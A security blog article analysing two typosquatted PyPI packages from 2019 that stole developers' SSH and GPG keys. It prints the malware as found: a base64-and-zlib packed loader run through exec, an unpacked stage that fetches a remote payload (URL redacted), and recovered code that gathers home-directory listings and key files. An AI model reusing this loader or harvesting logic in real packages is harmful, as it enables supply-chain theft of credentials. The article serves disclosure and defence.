RDN SecurityRadek Zdonczyk - cybersecurity guy
← Articles

Typosquatting in Python Repositories

Two packages on PyPI wore the names of popular libraries with a single character swapped. Installing either one meant handing over SSH keys, GPG credentials, and a map of your home directory.

RegistryPyPI
VectorPackage name typosquatting
TargetDeveloper workstations
Author accountolgired2017
Radoslaw Zdonczyk · 13 Dec 2019 · 3 min read · originally published on LevelBlue SpiderLabs

Python's popularity is amazing and constantly growing. For the first time, Python has overtaken Java to take second place in GitHub's general rankings. The more developers use that language in their projects, the more attention it gets from cybercriminals using typosquatting tactics in library names. Thanks to Lukas Martini's recent finding, two packages were removed from the PyPI repository (perhaps the pip command is more familiar to most of you).

The malicious library python3-dateutil was placed in the repository just a few days earlier, on 29 November 2019, and was downloaded 381 times before being spotted. Not a bad score for two days of availability. The second library, ieillyfish, had been uploaded at least half a year earlier, and the number of downloads was similar for that period. The typosquatting consisted of replacing the first letter l with an uppercase I in the word jellyfish.

The name python3-dateutil pretended to be the legitimate python-dateutil package with just the python3 prefix. Both libraries were created by the same person, olgired2017, which was also used for the GitLab account.

Both files contained the same malicious code:

ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='

ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    exec(ZAUTHSS)
The full packed string from both malicious packages.

Obfuscated code, base64 plus zlib compression, was added to the original code and published as a fake library clone. The deobfuscated code looked like this:

>>> ZAUTHSS = base64.b64decode(ZAUTHSS)
>>> ZAUTHSS = zlib.decompress(ZAUTHSS)
>>> print(ZAUTHSS.decode('utf-8'))

# 68cpHJ0GPAhw4tu1GrpiVEiCSrjspJwmBg
# 65sogl50g9GPOgIBl32m8sbosVpL1EN01oEWf7NBhSFA0evVVAqDbcPEHGRUc1nEIepPo
# XaxmRzxrP6dDJptFJhnorGe8O0FiCOb418EjphaUN9V9RuDYvkDT1ZOVTK9dakh
# 3hlLfIYmdgaZEf9HtcvHZOlNpHJtPupApv6dshPHyc0qjy
# NyhQQUrdcE4YBAeoznpXdPwa9ZwzKeRQS2
# sCzmadXCDq71YF4YTPWarY1ZBW6WfAEberC2wiKsDappasasB4S

import re, sys, os
_out, _err = sys.stdout, sys.stderr
sys.stdout, sys.stderr = open(os.devnull, 'wb'), open(os.devnull, 'wb')

try:
    try:
        from urllib2 import urlopen
    except:
        from urllib.request import urlopen
    raw = urlopen('REDACTED_SHORT_URL').read().decode('utf-8')
    packed = re.sub(r'[^0-9abcdef]', '', raw, flags=re.MULTILINE)
    # the original unpacked and executed this result
except:
    pass

sys.stdout, sys.stderr = _out, _err

# eUL2G6011jP02diDqXmLh7WF2rOmU0GY
# MzXRhCmgHVyfgsHvaslOcy6fx3nU2Pxtf3E7Rh8fjGon4YE8jlNAPb15wjlTL9cdL6
# Y296
# 2RYF9kVmDKJppFnNoVCE2pkX6jfGuPzfGyvNMefeyUOR5UjUdHAKF6Q1jI
# XI2b82DLI4ft9f
# dfzjpCyfYh3v9GPudUPPXoDW0Scsq1s4mZNgGjVM43GX2
The unpacked loader. The old short URL is redacted.

Between two comment sections, extra obfuscation perhaps, urllib2 collected another payload. A Bitly URL redirected to the author's GitLab page and fetched the real Python payload, named hashsum. It was no longer available when the original article was published. According to Bitly statistics, the link had been visited at least 740 times.

The second stage collected a list of files from the home directory, Documents, Downloads and PycharmProjects. More seriously, it also collected GPG and SSH keys.

Deobfuscated snippet of the hashsum payload:

home = os.path.expanduser("~")
if os.path.exists(home):
	data.add(home)
	data.add('\n   ###  1 ls home')
	data.add('\n   '.join(list_dir(home)))
	data.add('\n   ### 2 ls Documents')
	data.add('\n   '.join(list_dir(os.path.join(home, 'Documents'))))
	data.add('\n   ### 3 ls Downloads')
	data.add('\n   '.join(list_dir(os.path.join(home, 'Downloads'))))
	data.add('\n   ### 4 ls PycharmProjects')
	data.add('\n   '.join(list_dir(os.path.join(home, 'PycharmProjects'))))
	data.add('\n   ### 5 save home files')
	save_files(home)
	data.add('\n   ### 6 save .ssh files')
	save_files(os.path.join(home, '.ssh'))
	data.add('\n   ### 7 save gpg keys')
	save_files(os.path.join(home, '.gnupg'))
	data.add('\n   ### 8 save target')
	save_file(os.path.join(home, 'Downloads/ITDS-2018-10-15-DRACO_SRV1-362.pfx'))
	data.add('\n   ### 9 end :)')

# IP lookup and collector POST redacted
The recovered collection logic. The old lookup and upload endpoints are redacted.

The attacker collected information about the victim's connection, such as IP and country, then sent the prepared data to a collection server. The intention was to review the contents of local directories and use GPG and SSH keys to access selected project repositories.

Project owners should verify that their projects use the correct library names. If a project used a typosquatted version by accident, all SSH and GPG keys should be changed immediately.

References

  1. Original publication - Trustwave/LevelBlue SpiderLabs Blog, 13 Dec 2019. Typosquatting in Python Repositories
  2. PyPI - the Python Package Index. pypi.org